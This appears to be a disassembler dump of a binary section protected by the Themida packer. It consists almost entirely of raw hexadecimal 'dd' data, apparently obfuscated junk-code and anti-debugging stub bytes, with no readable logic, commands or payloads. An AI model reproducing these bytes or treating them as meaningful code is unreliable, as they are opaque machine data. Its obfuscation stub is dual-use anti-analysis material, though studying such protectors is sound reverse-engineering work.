6480FA5h dd 0AEE9h, 0AE900h, 0A6170000h, 428F5F47h, 1C79BD8Eh, 4858Bh dd 83F80000h, 816607C0h, 8359FDD7h, 8D8900C0h, 648011Dh dd 830FD03Bh, 24h, 248DBD8Bh, 0BE90648h, 7B000000h, 0BFC54373h dd 0A46EDCC7h, 64E95999h, 0F000000h, 38Ch, 0DE8B6600h dd 0FFFF8D8Bh, 960FFFFh, 482ACD85h, 0CF816106h, 617C0A75h dd 0F01E183h, 3E84h, 81853100h, 0E9064806h, 10h, 0FF0CE72Bh dd 104653BCh, 99B9B82Eh, 0A5DE2B64h, 0FFFFA583h, 29FEFFFFh dd 480DD1B5h, 8638BB06h, 958930ECh, 4, 2595BD89h, 0E90648h dd 8D000000h, 4C53C7B5h, 0FB8B6606h, 6A006Ah, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 190424h, 53430000h, 0F0B87FC3h dd 52DF0FC9h, 1FF19D8Bh, 665F0648h, 0BB66FA8Bh, 95FF1CE2h dd 6483061h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ch, 1FC35747h, 31BF9F88h, 279F806Ah, 0FD2B9h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h dd 6650DD1Bh, 2D8FD053h, 9501AEB8h, 64823B9h, 0FCFCE183h dd 0C02BF5FCh, 6830Fh, 9D8B0000h, 6482DE9h, 0BAF88Bh, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h dd 42000000h, 94AEC352h, 94B2E113h, 0F5DC8407h, 1E83CB81h dd 0BB576417h, 4322BB3Dh, 0C233AD5Bh, 0D003E8D1h, 7504E983h dd 958960F4h, 6480EA1h, 0AC9BD8Bh, 0F610648h, 68Dh, 0B99D0900h dd 0D064800h, 88h, 0DD8D8957h, 5B06482Eh, 0A19958Bh, 0BF0F0648h dd 358D8BF8h, 6A06480Fh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 19042444h, 41000000h, 5A32C351h, 25A9519h dd 0E6E380F9h, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h dd 6A5818h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h dd 57470000h, 0D375DCC3h, 0B526433Eh, 9D2386CEh, 6480935h dd 2E69E381h, 6A421Ch, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 170424h, 53430000h, 0C5AF24C3h, 0A5BD8363h, 64819h dd 2B840Fh, 8D890000h, 6482D61h, 0B8h, 0C9BD0B00h, 8B064804h dd 480C719Dh, 648D8D06h, 2306484Bh, 480DA5BDh, 81E1FF06h dd 144E11E3h, 25BD836Dh, 64824h, 40A840Fh, 0BB660000h dd 0BD838337h, 6482425h, 14840F01h, 0F000004h, 183h, 0BD83F500h dd 6482425h, 0CA860F03h, 6A000003h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 416AC352h dd 3B8311E5h, 0FFBF0F26h, 60DAB70Fh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ch, 0BC35646h, 469F9982h, 73040624h dd 19358589h, 0D3800648h, 0D98C66AEh, 3870Fh, 8B660000h dd 4E180FAh, 0E850006Ah, 3, 58C35820h, 4244489h db 81h, 44h, 24h byte_58A4BB db 4 ; DATA XREF: Themida_:0053FB14o dd 16h, 6FC35040h, 0AFC57A5h, 8840FC9h, 66000001h, 858BFE8Bh dd 6482385h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ch, 2DC35141h, 0C2B82DDh, 9560EC43h, 9D8BDA8Bh, 6482779h dd 2AC98533h, 6A0648h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 190424h, 55450000h, 7870FC3h, 9BF7701h, 480611B5h, 49BB6606h dd 800F9095h, 4, 0DABB66h, 0F6BB6650h, 0D88B9078h, 0BD8B006Ah dd 6480F1Dh, 88CABF66h, 31ADB68h, 8E9D8h, 73690000h, 41E9EF49h dd 481B06Ah, 1BE92424h, 52006A28h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1B04h, 0C3524200h, 0FEA2A21Eh, 6709C2CAh dd 1874BB66h, 1C0195FFh, 8B500648h, 482EE99Dh, 85895B06h dd 64BB92Ch, 6C5BD8Bh, 1BE90648h, 6A000002h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h dd 318AC351h, 8CAE6F4Fh, 8BE1E286h, 4BB92485h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 76E494D9h, 26B26B71h, 8AFCBB46h, 0BD89795Ah, 648140Dh dd 1800C7h, 0F520000h, 582h, 0EF816600h, 8B5BA56Dh, 4BB928B5h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h dd 0C3574700h, 681324Ah, 57482D9Fh, 0BEC5DF81h, 8B5B07B4h dd 482BF185h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1504h, 0C3524200h, 0CE8D898h, 0E000000h, 0C576C0FAh dd 80629C74h, 66549A67h, 895BD98Bh, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 4E6BCDA2h dd 10E99A6Dh, 2A000000h, 6CA8614Bh, 0C11C42C5h, 7E9BB8F0h dd 8B52CDB3h, 48238585h, 4468906h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 17h, 0B1C35646h, 96F3C53Fh, 5408BB66h dd 0BBA5BF50h, 6A960C50h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 15042444h, 45000000h, 0CC7C355h, 1EA19D29h dd 0B5FF0648h, 64BB924h, 0E8E1C380h, 4, 1F03FFh, 0FB8B6650h dd 424448Bh, 660AB060h, 619591BBh, 0FB8B008Bh, 4244489h dd 51A5BF66h, 56006A58h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1D04h, 0C3564600h, 0FF861363h, 8C7EEA76h, 0BD232976h dd 6480CB5h, 0B92C858Dh, 48B3064Bh, 56525050h, 0A71BBB66h dd 8B310F5Bh, 89585AF9h, 6A2404h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1A0424h, 52420000h, 790643C3h, 2C6DC0D7h dd 1C0195FFh, 6A0648h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 140424h, 56460000h, 8B61B8C3h, 4832D19Dh, 2585C706h dd 3064824h, 3000000h, 48303DBDh, 0AE806h, 1AF10000h, 8506D78Fh dd 0BB096EFBh, 2CBD835Bh, 64BB9h, 0B840Fh, 0BB660000h dd 1DE9F4F6h, 8B000000h, 0C3050F8h, 11440011h, 10E8C101h dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h dd 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h dd 0E77504E9h, 0C08B00EBh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ch, 4DC35242h, 0F5350900h, 0FD754E03h, 6A76C380h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h dd 45000000h, 5344C355h, 0BE9h, 0AA581600h, 62AC76E9h dd 7C71E170h, 0AB0BBB5Fh, 0BD830440h, 6482425h, 0A8850F03h dd 6A000003h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1B042444h, 46000000h, 4EBEC356h, 0C8321B8Ah, 0BD837E73h dd 64BB92Ch, 78840F00h, 0E8000003h, 7, 95B10D9h, 2B3A3A8Eh dd 481CE99Dh, 0B5FF5F06h, 64BB92Ch, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 18h, 8AC35646h, 0D017DA9h, 3595FFF9h dd 6606480Eh, 4B50E381h, 0B920B58Bh, 8166064Bh, 0C78B5FEBh dd 1000106h, 52509600h, 0A3BF5250h, 0F392C3Dh, 5A5F5031h dd 50310F58h, 44E4BB52h, 310F664Ch, 585A585Ah, 95899650h dd 6482D71h, 0B92CB5FFh, 95FF064Bh, 6481D59h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0E4C35343h, 0B708091Dh dd 20B58B8Bh, 6A064BB9h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1A042444h, 47000000h, 6FB2C357h, 5673206Bh dd 0D38166CAh, 9D0B5720h, 6482F01h, 1049858Bh, 58BF0648h dd 894580BCh, 0C486h, 0F9A3BF00h, 958B40A7h, 6480A19h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0ABC35343h dd 493E19F5h, 81E5D2CCh, 9440BBE7h, 4C28343h, 26E99D89h dd 50890648h, 840F20h, 8D000000h, 4BCE0985h, 0C59D2906h dd 89064823h, 0B886h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1A04h, 0C3564600h, 5FE38BB4h, 0FBC55CBh dd 0B589D8BFh, 6482AA1h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 150424h, 51410000h, 8940F0C3h, 482EE98Dh dd 2CB5FF06h, 6A064BB9h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1B042444h, 41000000h, 0FEEDC351h, 752260E3h dd 95FF8339h, 64823E1h, 30359D8Bh, 0E9960648h, 0Ah, 2C4B2726h dd 0A75B3616h, 0E9502057h, 0Bh, 2FF63C35h, 3DD48716h, 96FBCB25h dd 227D9D8Bh, 0B5FF0648h, 64BB92Ch, 2BB19589h, 8E0F0648h dd 0 dd 0E2D95FFh, 6A0648h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1D0424h, 51410000h, 7F950CC3h, 0C9BC9DFEh, 83337D53h dd 481CA1BDh, 840F0006h, 10h, 575054B7h, 5BDF8B66h, 0BF243489h dd 0CB88AC0h, 0B92CB5FFh, 6A064Bh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1A0424h, 52420000h, 55B9FCC3h, 0F7AA0652h dd 7FF38166h, 1995FF22h, 6A064827h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 18042444h, 40000000h, 217BC350h dd 8B73F8D7h, 482B399Dh, 2CB5FF06h, 51064BB9h, 1F991DBBh dd 95FF5B11h, 6480B41h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 18h, 0EBC35141h, 0EB14288Bh, 0CCDBD83h, 0F020648h dd 5C84h, 0ED858900h, 8B064808h, 480FD585h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h dd 0D4A2D0B0h, 5DBD896Eh, 0C6064818h, 6A0000h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 0CD4F7FC3h, 31FC57B6h, 482BC9B5h, 6985C706h, 6480Eh dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 16042444h, 40000000h, 9F8EC350h, 5E825h, 8DB20000h dd 6689C762h, 0E95BFA8Bh, 0FFFFF456h, 0BE8h, 551A7700h dd 93FD6935h, 0F927B4CEh, 8B5BDA8Bh, 0DFBF0FC1h, 32FD858Dh dd 6A0648h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h dd 57470000h, 0A1FEBBC3h, 8960FACEh, 481BD995h, 6FBF6106h dd 661A6F8Dh, 905CD4BBh, 50FE8B66h, 50006A90h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1504h, 0C3504000h, 0BF0FD148h dd 6A006ADEh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1C042444h, 43000000h, 3492C353h, 2926858h, 89E5334Ch dd 482BD1B5h, 6A006A06h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1B042444h, 45000000h, 0E623C355h, 0BD121AA2h dd 0BD8B4FD5h, 6480659h, 0E0DD858Dh, 6A064Ch, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 540A1C3h dd 42F9A804h, 0C083D048h, 599D8905h, 9006482Ah, 50DE8B66h dd 6A86BB66h, 19852990h, 6A064821h, 89606000h, 482DB1BDh dd 65958B06h, 6106482Ah, 7AA0D281h, 6A6165FBh, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 0E990FA3Eh, 9, 1E8E65AFh, 8B7B2E25h, 7D95FF18h, 8B064827h dd 0FEB70FDEh, 9C148D8Dh, 0BD8B064Bh, 64814D9h, 0BD8BD1FFh dd 64818C1h, 1949BD83h, 0F010648h, 5785h, 7E900h, 67B20000h dd 0A66D42FCh, 3DBD8BFDh, 6A064830h, 4895002h, 0DE924h dd 0DC580000h, 0BA8E8909h, 0DEFAE468h, 0FF50BA26h, 4823E195h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h dd 0C3524200h, 0EC2C1FEh, 0B58910CFh, 6481EBDh, 0D78E9h dd 0E800h, 815D0000h, 4CE0E7EDh, 0B5BD8906h, 6A06480Dh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 14042444h dd 42000000h, 8B1EC352h, 481EFDBDh, 0F88B6606h, 9744858Dh dd 6A064Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h dd 53430000h, 0F950D6C3h, 0B4EF9E5Ah, 0FA8B3C96h, 90D98B66h dd 90D98A50h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 14h, 77C35646h, 0AE9h, 9EDCD700h, 7AF27F79h, 6497FFEDh dd 35FFh, 0BD8B0000h, 6480539h, 258964h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h dd 0D6BDC355h, 0A3324C73h, 88EC8B5Fh, 2931B589h, 85FF0648h dd 6480A2Dh, 2E85B589h, 9D8B0648h, 6483119h, 6AFF6Ah, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h dd 8D89E9C3h, 6482B59h, 26E5B5FFh, 6A0648h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 9BE18C3h dd 9E3AAA6Bh, 0E939A0CFh, 0Dh, 0C9D18EEEh, 38530E1Eh, 0DCC8C5B2h dd 53F56019h, 10319D89h, 615E0648h, 0AA595FFh, 0CCE90648h dd 8B000000h, 482A19BDh, 0B700B006h, 3370E616h, 482A959Dh dd 2371E406h, 481D459Dh, 0F613C06h, 0AA83h, 0C8B60F00h dd 0BAD98B66h, 6, 7BE78166h, 0FC18BC7h, 686h, 198D8900h dd 0C1064805h, 0BD8B04E8h, 64822C9h, 29E2F766h, 4824F9BDh dd 8BC82B06h, 480D319Dh, 1D18B06h, 482C0DBDh, 87BB6606h dd 61E98Bh, 0C7800000h, 44858B5Fh, 0F95F4C4Ch, 8307C083h dd 816000C0h, 9F00DFF3h, 61D88B4Ah, 830FD03Bh, 11h, 30D5BD8Bh dd 34E90648h, 0B000000h, 4814BD9Dh, 0FF8D8B06h, 8BFFFFFFh dd 4815919Dh, 1E18306h, 19840Fh, 8B660000h, 0FFA583FAh dd 0FEFFFFFFh, 442EBF66h, 4C449589h, 0E95F4Ch, 8D000000h dd 4C6399B5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1904h, 0C3564600h, 1CA08C70h, 9D0194BFh, 6480EF5h, 6A006Ah dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h dd 0F471E9C3h, 2B85B6BBh, 0FF79EFD9h, 48306195h, 25BD0B06h dd 0B906482Ah, 0F12h, 19459D8Bh, 0E1830648h, 57006AFCh dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h dd 11A14BEAh, 68B0Fh, 9D890000h, 64809C9h, 0AD9529FCh dd 0B8064809h, 0 dd 20C9B589h, 0BA0648h, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 8857C352h dd 7FBA8FC7h, 860F354Dh, 0 dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 19h, 7DC35545h, 2A62AE2Dh, 0D9BF0FFCh dd 326DBD8Bh, 880D0648h, 6A000000h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 0C796C355h dd 0C65EB8BDh, 6E59D89h, 958B0648h, 6480A19h, 5E9h, 8B626900h dd 8D8B1301h, 6480F35h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Dh, 7FC35242h, 0BB1B1978h, 21556E8Fh, 9D0960A9h dd 6482EF5h, 8D0F53h, 59000000h, 5E961h, 41DC0000h, 50EAB2E7h dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h, 0DBD8958h dd 66064815h, 83E276BBh, 4819A5BDh, 840F0006h, 91h, 1A01BD8Bh dd 0B80648h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 8184C356h, 8D72D060h dd 484B648Dh, 0BE806h, 897F0000h, 8B77BD54h, 0A8E6F944h dd 5E87Bh, 60FF0000h, 0FD17FAEh, 85h, 0E95F5F00h, 0Dh dd 100A1A2Ah, 0A9F794A2h, 9C793D40h, 6AE1FF31h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h dd 0C542C351h, 1DCCA2D8h, 89FBCA61h, 481BB9B5h, 25BD8306h dd 64824h, 40A840Fh, 5B520000h, 2425BD83h, 0F010648h, 41684h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h dd 0C3524200h, 8A229FD5h, 6E8h, 0D628CD00h, 29E8B570h dd 48150D9Dh, 0BD835F06h, 6482425h, 0A2860F03h, 0F000003h dd 6A60D9B7h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 14042444h, 42000000h, 51ACC352h, 24D9531h, 665B0648h dd 0BF66D98Ch, 0E1808AD8h, 0A870F04h, 0E9000000h, 5, 8AC60CC0h dd 870F6003h, 0 dd 307D9509h, 0A610648h, 6A840FC9h, 89000001h, 482B9D8Dh dd 599D8906h, 8B06482Bh, 48238585h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 7B92ED3h, 8533FA8Bh dd 6482AC9h, 4870Fh, 0BF660000h, 0BB90F741h, 10EB59CFh dd 76BF6650h, 6A9092h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1C0424h, 55450000h, 7F5E43C3h, 0A423BF01h, 14E83E7Ch dd 1C000000h, 0E3B72DDCh, 0AA785AEBh, 73ABE989h, 5D4089F3h dd 0F3EBF26h, 6A5FFAB7h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1804h, 0C3564600h, 0E2C026D4h, 13E960CBh dd 4E000000h, 0C547FCDAh, 82FF728Bh, 0CED6CE05h, 8077AC21h dd 0C8B1FC62h, 699D8961h, 0E8064830h, 4, 1F03FFh, 8E8h dd 1DE2AA00h, 54B78827h, 880F5713h, 0 dd 66505F5Bh, 8BE456BBh, 8B042444h, 895F5200h, 66042444h dd 587C7ABBh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ah, 0E3C35141h, 0D30243FAh, 870F6E1Dh, 0Ah, 48E0Fh dd 0BB660000h, 95FF761Ch, 6481C01h, 6E9h, 385D4A00h, 9F6688Ch dd 48104D9Dh, 2C858906h, 51064BB9h, 895F3FB7h, 48158985h dd 172E906h, 0BF0F0000h, 24858BDEh, 0E9064BB9h, 0Bh, 64CDE575h dd 270E6A1Fh, 0C73A6563h, 1800h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 0FB360DAh dd 0B173019h, 28B58BD7h, 6A064BB9h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1B042444h, 40000000h, 0E97EC350h dd 0AA44A6C2h, 858BB09Dh, 6482BF1h, 19699531h, 9D0B0648h dd 6480CD5h, 9D8B0689h, 6480AD1h, 85858BF8h, 80064823h dd 468915D7h, 0DCEB8004h, 50DF8B96h, 0FE9h, 12847D00h dd 0D92D9677h, 0F19DC549h, 0A40B5632h, 56006A96h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 7BBFBA42h, 0FF287F97h, 4BB924B5h, 742F6806h, 0F88B776Ch dd 0D0243481h, 6A777377h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 16042444h, 42000000h, 0B903C352h, 65BD8942h dd 8D06482Ch, 4BB92C85h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1604h, 0C3564600h, 30F62C5h, 480AB19Dh, 0FA8B5006h dd 89240489h, 482BEDBDh, 195FF06h, 6A06481Ch, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h dd 8967C357h, 725DB46Ch, 68C0Fh, 8D010000h, 6481BD9h, 56006A61h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h dd 0FD4E3D2h, 280h, 66D98B00h, 85C7D98Bh, 6482425h, 3 dd 2DBD9D8Bh, 0BD830648h, 64BB92Ch, 2A840F00h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h dd 43000000h, 0E8D3C353h, 21E96156h, 8B000000h, 481E959Dh dd 0C305006h, 11440011h, 10E8C101h, 2114430h, 3114C00h dd 4E98358h, 36EBE775h, 11043050h, 1116400h, 3010E8C1h dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h dd 0C08B00EBh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Dh, 89C35040h, 0E47CCAB8h, 95E868DEh, 5D9531A3h, 0BB06481Bh dd 342DA753h, 31F19D8Bh, 0BD830648h, 6482425h, 60850F03h dd 81000004h, 409AAEBh, 2CBD834Ah, 64BB9h, 44D840Fh, 0EE80000h dd 2B000000h, 5678761Dh, 0E7864B71h, 1C5BD5A1h, 8B0F68h dd 5F000000h, 0B92CB5FFh, 9D29064Bh, 6480CC5h, 0E3595FFh dd 6A0648h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h dd 57470000h, 8B57AEC3h, 481B1D9Dh, 0F3BF5F06h, 8B7798A1h dd 4BB920B5h, 699D2906h, 0C706481Ah, 1000106h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 2BE37785h, 8B9A7BEFh, 0F5796FBh, 687h, 0F525000h, 5B585A31h dd 6E95050h, 0CF000000h, 99F81D8Dh, 6A965F55h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h dd 66B9C355h, 0B5FF90BAh, 64BB92Ch, 0AE9h, 3FABB500h, 218C9F1Fh dd 8909AEC2h, 48285985h, 5995FF06h, 0F06481Dh, 0BD89FAB7h dd 6480511h, 0B920B58Bh, 0EE8064Bh, 0A5000000h, 0AD206501h dd 0A83A8465h, 0E1A9265Fh, 5E968h, 0F0A00000h, 5F257CC1h dd 8BDEB70Fh, 48104985h, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1D04h, 0C3504000h, 74583094h, 970E9A21h dd 86893F16h, 0C4h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ch, 4AC35141h, 1CBD03D2h, 5733562Ah, 518D29h dd 958B0648h, 6480A19h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 17h, 49C35242h, 0BFD9CF4Dh, 5BB8743Ah, 6A04C283h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h dd 43000000h, 5910C353h, 0C53C2A4h, 0E7B61DEBh, 2555BD01h dd 50890648h, 55006A20h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1704h, 0C3554500h, 0A117167Fh, 6820Fh, 9D330000h, 6483109h dd 0FC2BEB81h, 858D3555h, 64BCE09h, 2BF58D01h, 9D8B0648h dd 6482AD5h, 0B88689h, 6AF80000h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 69FF5F37h dd 4DBD8BE7h, 8B064815h, 48227DBDh, 2CB5FF06h, 6A064BB9h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 18042444h dd 47000000h, 0F5F7C357h, 0FF57F4CDh, 4823E195h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h dd 50A00688h, 6A243489h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1A042444h, 43000000h, 5338C353h, 0D39EB622h dd 0FA7B799h, 884h, 2870F00h, 0B3000000h, 2CB5FF3Eh, 6A064BB9h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h dd 45000000h, 0B7D4C355h, 2D95FF0Bh, 8906480Eh, 481839B5h dd 0A1BD8306h, 6481Ch, 2A840Fh, 9D890000h, 6481CBDh, 0B7BF6696h dd 10E850A9h, 0B000000h, 5B981C6Bh, 6213BFB1h, 1EB9A71Dh dd 0B302587Eh, 0BF965BB8h, 30D90D6h, 0B92CB5FFh, 6A064Bh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h dd 3CDCAC3h, 0B768BBA6h, 47BF6644h, 1995FF2Dh, 0FF064827h dd 4BB92CB5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1804h, 0C3574700h, 0B3E37FF0h, 0DA8B6600h, 0B4195FFh dd 6A0648h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h dd 51410000h, 0B58954C3h, 6482B89h, 0CCDBD83h, 0F020648h dd 6184h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1C04h, 0C3574700h, 0F324B9CDh, 2BDAA768h, 85953104h dd 8B064800h, 480FD585h, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1A04h, 0C3514100h, 0B0665FE8h, 8B6A0BCCh dd 482521BDh, 0C606h, 6E18D89h, 85C70648h, 6480E69h, 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 8FC35141h dd 5D590BB1h, 0E9DAB70Fh, 0FFFFF37Ch, 272D9D89h, 0C18B0648h dd 0B573BBBBh, 0FD858D6Ah, 6A064832h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 14042444h, 40000000h, 9026C350h dd 0A8B0Fh, 52500000h, 7CB2BF66h, 585A310Fh, 90FB8B50h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 0CBC35040h dd 8150FC93h, 0DF8804CFh, 6A5B48h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Bh, 0D9C35646h, 70BA460Dh, 6A21DBA9h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h dd 0C3524200h, 7310E141h, 4A858DC6h, 56064CF0h, 5C0835Bh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0F9C35545h dd 9E4CEBBh, 0F234BF74h, 66502531h, 894AE2BBh, 9D012404h dd 64800B9h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 190424h, 51410000h, 0BA9E7FC3h, 0E8A26718h, 9, 686EB86Dh dd 977ABC58h, 5B5AB7A2h, 6AF9BF0Fh, 5E800h, 936B0000h dd 2947E7BCh, 480DD195h, 0DC8A5B06h, 277D95FFh, 9D890648h dd 6480EC9h, 1B85BD29h, 8D8D0648h, 64B9C14h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 31C35646h, 0BD83D1FFh dd 6481949h, 7E850F01h, 6A000000h, 0BD2BFC02h, 6480585h dd 0FE890h, 2E3A0000h, 0AEE13742h, 5245466Eh, 91323AD6h dd 0CCE0BB7Ch, 505B5DB3h, 7D03BF66h, 50006A90h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1A04h, 0C3504000h, 6692444Eh dd 0FF4ECE8Dh, 4823E195h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1804h, 0C3514100h, 0E40EE9D2h dd 6890F10h, 8B000000h, 481F159Dh, 0DBDE906h, 0E80000h dd 5D000000h, 0F054ED81h, 0BF0F064Ch, 952960D9h, 6482CF5h dd 2B498523h, 6A610648h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 15042444h, 41000000h, 0BDFDC351h, 68C0Fh dd 0BD8B0000h, 6482525h, 9744858Dh, 9D89064Bh, 6482D09h dd 6E950h, 0A8790000h, 0ED976B14h, 0E9240489h, 9, 9BBC073Ch dd 0F241562h, 35FF6400h, 0 a5di db '╥5d┴%',0 align 4 dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h dd 0C3534300h, 0A0EC8334h, 9E9h, 20AF1900h, 0C09A3B17h dd 85FF98D6h, 6480A2Dh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ch, 1CC35040h, 7189829Bh, 0B4829C94h, 0EE8h dd 265E9800h, 0B47E623Ah, 0CC9F5F17h, 0BFBE5DC8h, 1B55909Ah dd 6AFF6A5Bh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1B042444h, 45000000h, 0C3BFC355h, 0F28DC2E6h, 0BD890550h dd 64819A9h, 25F5B5FFh, 6A0648h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1C0424h, 53430000h, 0D1B816C3h, 0EB50D833h dd 10E9FE31h, 